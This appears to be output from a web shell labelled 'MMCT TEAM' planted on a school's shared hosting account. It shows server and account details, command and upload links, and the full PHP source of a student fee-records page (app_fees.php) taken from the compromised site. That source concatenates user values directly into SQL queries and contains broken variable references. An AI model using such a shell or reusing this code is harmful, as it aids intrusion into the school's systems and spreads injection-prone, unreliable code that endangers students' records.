MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.161
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/gsmps/app/plugins/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/gsmps/app/plugins/../app_fees.php
<?php
	include('php-includes/connect.php');
include('php-includes/check-login.php');
 $userid = $_SESSION['userid'];
$search = $userid;

	$sel4="select * from  registration where application='$userid'  order by id desc";
	$res4=mysqli_query($con,$sel4);
	$row4=mysqli_fetch_array($res4,MYSQLI_BOTH);
	$session=$row4['session'];
		$class=$row4['subject'];
	$sel41="select * from  studentfees where search='$userid' and year='$session'  ";
	$res41=mysqli_query($con,$sel41);
	
	$rowt1=mysqli_fetch_array($rest1,MYSQLI_BOTH);
	
	
	$sel411="select * from  studentfees where search='$search' and year='$session' and status='' order by id desc  ";
	$res411=mysqli_query($con,$sel411);
	
	$row411=mysqli_fetch_array($res411,MYSQLI_BOTH);
?>


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Panel </title>

  <!-- Google Font: Source Sans Pro -->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
  <!-- Font Awesome Icons -->
  <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
  <!-- overlayScrollbars -->
  <link rel="stylesheet" href="plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/croppie/2.6.5/croppie.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/croppie/2.6.5/croppie.min.css" />
<body class="hold-transition dark-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">

  <style>
 body {
  padding: 0;
  margin: 0;
  font-family: 'Lato', sans-serif;
  color: #000;
}

.student-profile .card {
  border-radius: 10px;
}

.student-profile .card .card-header .profile_img {
  width: 150px;
  height: 150px;
  object-fit: cover;
  margin: 10px auto;
  border: 10px solid #ccc;
  border-radius: 50%;
}

.student-profile .card h3 {
  font-size: 20px;
  font-weight: 700;
}

.student-profile .card p {
  font-size: 16px;
  color: white;
}

.student-profile .table th,
.student-profile .table td {
  font-size: 14px;
  padding: 5px 10px;
  color: white;
}
  </style>

  <!-- Navbar -->
 <?php include('link/menu.php')?>
  <!-- /.navbar -->

  

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    
    <!-- /.content-header -->

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
       <!-- Student Profile -->
<div class="student-profile py-4">
  <div class="container">
    <div class="row">
      <div class="col-lg-4">
        <div class="card shadow-sm">
          <div class="card-header bg-transparent text-center">
            <img class="profile_img" src="../code/img/<?php echo $rowt['picture'] ?>" alt="">	
            <h3><?php echo $rowt['name']?></h3>
          </div>
          <div class="card-body">
            <p class="mb-0"><strong class="pr-1">Student ID:</strong><?php echo $rowt['application']?></p>
            <p class="mb-0"><strong class="pr-1">Class:</strong><?php echo $rowt['subject']?></p>
            <p class="mb-0"><strong class="pr-1">Section:</strong><?php echo $rowt['section']?></p>
          </div>
        </div>
      </div>
      <div class="col-lg-8">
        <div class="card shadow-sm">
          <div class="card-header bg-transparent border-0">
            <h3 class="mb-0"><i class="far fa-clone pr-1"></i>Fees Records</h3>
          </div>
          <div class="card-body pt-0">
            <table class="table table-bordered">
              <tr style='background-color:#763716'>
                <th width="30%">Records</th>
                <td width="2%">:</td>
                <td>Paid</td>
                <td>Date</td>
                <td>Dues</td>
              </tr>
			  <?php 
			  $t_p=0;
$sel2="select * from  studentfees where search='$search' and year='$session' and status=''";
$res2=mysqli_query($conn,$sel2);
while($row2=mysqli_fetch_array($res2,MYSQLI_BOTH))
{
	$tot=$row2['total'];
	$paid13=$row2['paid'];
	
	$remain12=$row2['remain'];
	$sum=$tot+$sum;
	$sum1=$paid13+$sum1;
	$remain1=$remain12+$remain1;
	$tags = explode(',',$row2['month']);
	$m='';
 ?> <tr>
                <th width="30%"><?php echo $row2['month'];?></th>
                <td width="2%">:</td>
                <td><?php echo $row2['paid'];?></td>
				<td><?php $daten=$row2['date'];
echo $date1=date("d-m-Y",strtotime($daten));  ?></td>
				  <td>--</td>
              </tr>
			  <?php 
			  
			  $t_p=$t_p+$row2['paid'];
			  
			  }?>
          <tr style='background-color:#763716;font-weight:bold'>
                <th width="30%">Total</th>
                <td width="2%">:</td>
                <td><?php echo $t_p?></td>
                <td></td>
				<td><?php echo $row411['remain']; ?></td>
              </tr>
			  
            </table>
          </div>
		  </div>
		  
		  <?php
	
	  $month1=date('m');
	  	
	  if($month1==4 )
	  {
		 $month=1; 
	  }
	   if($month1==5 )
	  {
		 $month=2; 
	  }
	    if($month1==6 )
	  {
		 $month=3; 
	  }
	   if($month1==7 )
	  {
		 $month=4; 
	  }
	  if($month1==8 )
	  {
		 $month=5; 
	  }
	  if($month1==9 )
	  {
		 $month=6; 
	  }
	  if($month1==10 )
	  {
		 $month=7; 
	  }
	  if($month1==11 )
	  {
		 $month=8; 
	  }
	   if($month1==12 )
	  {
		 $month=9; 
	  }
	   if($month1==1 )
	  {
		 $month=10; 
	  }
	   if($month1==2 )
	  {
		 $month=11; 
	  }
	  if($month1==3 )
	  {
		 $month=12; 
	  }

//	 $month=$_POST['month'];
	 $all=$_POST['all'];
	 if($month==1)
	 {
	     $a='APR';
	     $v1='';
	 }
	 if($month==2)
	 {
	     $a='MAY';
	      $v1='';
	 }
	 if($month==3)
	 {
	     $a='JUN';
	      $v1='';
	 }
	 if($month==4)
	 {
	     $a='JUL';
	      $v1='';
	 }
	 if($month==5)
	 {
	     $a='AUG';
	      $v1='';
	 }
	 if($month==6)
	 {
	     $a='SEP';
	      $v1='';
	 }
	 if($month==7)
	 {
	     $a='OCT';
	      $v1='';
	 }
	 if($month==8)
	 {
	     $a='NOV';
	      $v1='';
	 }
	 if($month==9)
	 {
	     $a='DE';
	      $v1='';
	 }
	 if($month==10)
	 {
	     $a='JAN';
	      $v1='';
	 }
	 if($month==11)
	 {
	     $a='FEB';
	 }
	 if($month==12)
	 {
	     $a='MAR';
	      $v1='';
	 }
	 
	// $monthNum  = 3;

if($class=='All')
{
    $sel1="select * from registration where session='$session'     order by id asc ";
}
else
{
    $sel1="select * from registration where session='$session' and subject='$class' and application='$search'  order by id asc ";
}
  
	$res1=mysqli_query($conn,$sel1);

	
?>
	 
<style>
    
  td{font-size:12px}  
    
</style>


<tbody>		
  <?php
   $sel24="select * from  session order by id desc limit 1,1";
	$res24=mysqli_query($conn,$sel24);
	$row24=mysqli_fetch_array($res24,MYSQLI_BOTH);
	 $session_old=$row24['session'];
	 
 	 $s=1;
  $toamount=0;
  $re_fee1=0;
  $re_van1=0;
  $re_dues=0;
  $re_remain=0;
  $re_exam=0;
  $total1=0;
  $van_fee1=0;
  $remain1=0;
  $tpaid1=0;
  $comp_fee_c1=0;
  $re_fee=0;
  $free1=0;
   $van_fee=0;
               
              
               
			$re_fee_van=0;
  while($row=mysqli_fetch_array($res1,MYSQLI_BOTH))
  {
  $app=$row['application'];
  $application=$row['application'];
  $code=$row['code'];
  
  $subject=$row['subject'];
  $class=$row['subject'];
 
  ////////////for month show///////////
  	  //echo $conc;
  
//  echo $max;
  ////max for month/////////
  
  
  
  ////////for month cal close/////
  
 
$sel="select * from studentfees where year='$session'  and search='$app' and status='' order by id asc ";
	$res=mysqli_query($conn,$sel);
	/////for fees paid 
	$am=0;

	$co=0;
	$van1=0;
	$mon='';
	$t_exam=0;
	$paid=0;
	while($row1=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
		$paid=$row1['paid'];
		$con=$row1['con'];
		$am=$am+$paid;
		$co=$co+$con;
		$van1=$van1+$row1['van'];
		$m=$row1['month'];
		$mon=$mon.','.$m;
		$exam1=$row1['exam'];
		$t_exam=$exam1+$t_exam;
	}
	/////for fees paid 
	$totalpay=$totalpay+$am;
	////for class fees 
	$sel2="select * from fees where session='$session' and class='$class'  ";
	$res2=mysqli_query($conn,$sel2);
	/////for fees paid 
	$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
	$comp_fee=$row2['comp'];
	$fees=$row2['fees'];
	
		$sel23="select * from free where session='$session' and  sch='$app'  ";
	$res23=mysqli_query($conn,$sel23);
	/////for fees paid 
	$row23=mysqli_fetch_array($res23,MYSQLI_BOTH);
	$fix=$row23['fix'];
	$fee_free=$row23['fee'];
	$conv_free=$row23['conv'];
	
	if($fix>0)
	{
	    $f_fix=$fix;
	}
	else
	{
	    $f_fix=0;
	}
		if($fee_free=='YES')
	{
	    $fee_free=$fees;
	}
	else
	{
	    $fee_free=0;;
	}
			if($conv_free=='YES')
	{
	    $conv_free=$code;
	}
	else
	{
	    $conv_free=0;;
	}
if($session=='2020-2021')
{
    $cal=12;
}
else
{
	   $cal=$month;
	
}


$sel211f133="select * from studentfees where year='$session'  and search='$app' and status='' order by id asc";
	$res211f133=mysqli_query($conn,$sel211f133);
	$ot=0;
	$ad=0;

	$rg=0;
	$rg1=0;
	$cp=0;
	$gn=0;
	$ann1=0;
		$exam1=0;
		$van12=0;
			$fee1=0;
			$tpaid=0;
	while($row211f133=mysqli_fetch_array($res211f133,MYSQLI_BOTH))
	{
	    $tpaid=$row211f133['paid']+$tpaid;
	    
	    
	}
	//echo $cal;


	////////////

	
	/////////

	
	
	////////

	$fees=$row2['fees'];
	/////
	///
	$application=$app;
 //echo $conc;
 $apr='';
 $c='';
 $a1='';

	  	  $selca="select * from  studentfees where  month like '%April%' and year='$session' and search='$application' and status='' order by id asc ";
	$resca=mysqli_query($conn,$selca);
	if($rowca=mysqli_fetch_array($resca,MYSQLI_BOTH))
	{
		$apr=1;
		$c++;
		$a1='APR';
	}
	//////may
	$may='';
	$a2='';
	$selcm="select * from  studentfees where  month like '%May%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescm=mysqli_query($conn,$selcm);
	if($rowcm=mysqli_fetch_array($rescm,MYSQLI_BOTH))
	{
		//echo "SHOW2";
			$may=2;
				$c++;
				$a2='MAY';
	}
	//////Jun
	$jun='';
	$a3='';
	$selcj="select * from  studentfees where  month like '%Jun%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescj=mysqli_query($conn,$selcj);
	if($rowcj=mysqli_fetch_array($rescj,MYSQLI_BOTH))
	{
		//echo "SHOW3";
			$jun=3;
				$c++;
				$a3='JUN';
	}
	//////july
	$jul='';
	$a4='';
	$selcmj="select * from  studentfees where  month like '%July%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmj=mysqli_query($conn,$selcmj);
	if($rowcmj=mysqli_fetch_array($rescmj,MYSQLI_BOTH))
	{
		//echo "SHOW4";
		$jul=4;
			$c++;
				$a4='JUL';
	}
	//////August
	$aug='';
	$a5='';
	$selcmja="select * from  studentfees where  month like '%August%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmja=mysqli_query($conn,$selcmja);
	if($rowcmja=mysqli_fetch_array($rescmja,MYSQLI_BOTH))
	{
		//echo "SHOW5";
		$aug=5;
			$c++;
				$a5='AUG';
	}
	//////sep
	$sep='';
	$a6='';
	$selcms="select * from  studentfees where  month like '%September%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescms=mysqli_query($conn,$selcms);
	if($rowcms=mysqli_fetch_array($rescms,MYSQLI_BOTH))
	{
		//echo "SHOW6";
		$sep=6;
			$c++;
				$a6='SEP';
	}
	//////oct
	$oct='';
	$a7='';
	$selcmjo="select * from  studentfees where  month like '%October%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmjo=mysqli_query($conn,$selcmjo);
	if($rowcmjo=mysqli_fetch_array($rescmjo,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$oct=7;
			$c++;
				$a7='OCT';
	}
	//////Nov
	$nov='';
	$a8='';
	$selcmjn="select * from  studentfees where  month like '%November%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmjn=mysqli_query($conn,$selcmjn);
	if($rowcmjn=mysqli_fetch_array($rescmjn,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$nov=8;
			$c++;
				$a8='NOV';
	}
	//////Dec
	$dec='';
	$a9='';
	$selcmjd="select * from  studentfees where  month like '%December%' and year='$session' and search='$application'  and status=''order by id asc ";
	$rescmjd=mysqli_query($conn,$selcmjd);
	if($rowcmjd=mysqli_fetch_array($rescmjd,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$dec=9;
			$c++;
				$a9='DEC';
	}
	//////Jan
	$jan='';
	$a10='';
	$selcmjdj="select * from  studentfees where  month like '%January%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmjdj=mysqli_query($conn,$selcmjdj);
	if($rowcmjdj=mysqli_fetch_array($rescmjdj,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$jan=10;
			$c++;
				$a10='JAN';
	}
	//////Jan
	$feb='';
	$a11='';
	$selcmf="select * from  studentfees where  month like '%February%' and year='$session' and search='$application'  and status=''order by id asc ";
	$rescmf=mysqli_query($conn,$selcmf);
	if($rowcmf=mysqli_fetch_array($rescmf,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$feb=11;
			$c++;
				$a11='FEB';
	}
	//////mar
	$mar='';
	$a12='';
	$selcmm="select * from  studentfees where  month like '%March%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmm=mysqli_query($conn,$selcmm);
	if($rowcmm=mysqli_fetch_array($rescmm,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$mar=12;
			$a12='MAR';
			$c++;
			$ex1=0;
	}
	$g=max(0,$apr,$may,$jun,$jul,$aug,$sep,$oct,$nov,$dec,$jan,$feb,$mar);
	  $new_g=$cal-$g;
	  $t=$fees*$new_g;
	  $at=array($apr,$may,$jun,$jul,$aug,$sep,$oct,$nov,$dec,$jan,$feb,$mar);
//array_push();
$t=0;
	  foreach ($at as $x) {
	     
	      if($x=='')
	      {
	          $t++;
	      }
	     
	  }
	   $re_fee=$fees*$new_g;
	  $re_fee1=$re_fee+$re_fee1;
	  $exam=0;
	  if($class=='NURSERY' or $class=='LKG' or $class=='FIRST' or $class=='SECOND'or $class=='UKG'or $class=='PLAY GROUP' )
        		{
        		    if($cal>=7 and $cal<=11 )
        		    {
        		        $exam=200;
        		    }
        		    if($cal>=12  )
        		    {
        		         $exam=500;
        		    }
        		    
        		}
        		if($class=='THIRD' or $class=='FOURTH' or $class=='FIFTH' or $class=='SIXTH' or $class=='SEVENTH' or $class=='EIGHTH' )
        		{
        		    if($cal>=7 and $cal<=11 )
        		    {
        		        $exam=200;
        		    }
        		    if($cal>=12  )
        		    {
        		         $exam=500;
        		    }
        		    
        		}
        		$exam_new=$exam-$t_exam;
	  $sel4="select * from studentfees where year='$session'  and search='$app' and status='' order by id desc ";
	$res4=mysqli_query($conn,$sel4);
	$row4=mysqli_fetch_array($res4,MYSQLI_BOTH);
	$remain=$row4['remain'];
	  $van_fee=$code*$new_g;
	  $comp_fee_c=$comp_fee*$new_g;
	  $f_fix2=$f_fix*$new_g;
	  $fee_free1=$fee_free*$new_g;
	  $conv_free1=$conv_free*$new_g;
	  $van_fee1=$van_fee1+$van_fee;
	  $comp_fee_c1=$comp_fee_c1+$comp_fee_c;
	  $re_fee_van=$re_fee+$van_fee+$remain+$exam_new-$f_fix2-$fee_free1-$conv_free1;

	  $remain1=$remain+$remain1;
	  $tpaid1=$tpaid1+$tpaid;
	  $free=$f_fix+$fee_free1+$conv_free1;
	  $free1=$free1+$free;
	
	  	 
	 $mon=$a1.','.$a2.','.$a3.','.$a4.','.$a5.','.$a6.','.$a7.','.$a8.','.$a9.','.$a10.','.$a11.','.$a12;
	 
	 if($re_fee_van>0)
	 {
	     $re_fee_van=$re_fee_van;
	 }
	 else
	 {
	     $re_fee_van=0;
	 }
	  $total1=$re_fee_van+$total1;
  }

		?>
		 
	
	

	
	<div class="card shadow-sm">
          <div class="card-header bg-transparent border-0">
            <h3 class="mb-0"><i class="far fa-clone pr-1"></i>Dues Fee Records<span style='font-size:25px;font-weight:bold;color:'>&#8594;</span></h3>
          </div>
          <div class="card-body pt-0">
            <table class="table table-bordered">
              <tr style='background-color:#765716'>
               
               
                <td> Fee Dues To  <span style='background-color:red'><?php echo date('M')?> </a></td>
                <td> Convience Dues To  <span style='background-color:red'><?php echo date('M')?></span></td>
                <td> Old Dues </td>
                
                <td>Total Amount</td>
                
              </tr>
			  <tr>
                <th ><?php echo $re_fee ?></th>
                <th ><?php echo $van_fee?></th>
               
                <td><?php echo $remain?></td>
               
				<td><?php echo $re_fee_van; ?></td>
				  
              </tr>
			  
         
			  
            </table>
          </div>
		  </div>
	
        </div>
      </div>
    </div>
  </div>
</div>

            <!-- /.info-box -->
          </div>
		  <style>
.button {
  border: none;
  color: white;
  padding: 16px 32px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 16px;
  margin: 4px 2px;
  transition-duration: 0.4s;
  cursor: pointer;
}

.button1 {
  background-color: white; 
  color: black; 
  border: 2px solid #04AA6D;
}

.button1:hover {
  background-color: #04AA6D;
  color: white;
}

.button2 {
  background-color: white; 
  color: black; 
  border: 2px solid #008CBA;
}

.button2:hover {
  background-color: #008CBA;
  color: white;
}

</style>
		  
<center><a href='app.php'><button class="button button2">Click For Back</button></a></center>
          <!-- /.col -->
        </div>
        <!-- /.row -->

       
        <!-- /.row -->

        <!-- Main row -->
        <div class="row">
          <!-- Left col -->
          
  <!-- /.content-wrapper -->

  <!-- Control Sidebar -->

  <!-- /.control-sidebar -->

  <!-- Main Footer -->
  <?php include('link/footer.php');?>
</div>
<!-- ./wrapper -->

<!-- REQUIRED SCRIPTS -->
<?php include('link/jquery.php')?>
</body>
</html>

MMCT - 2023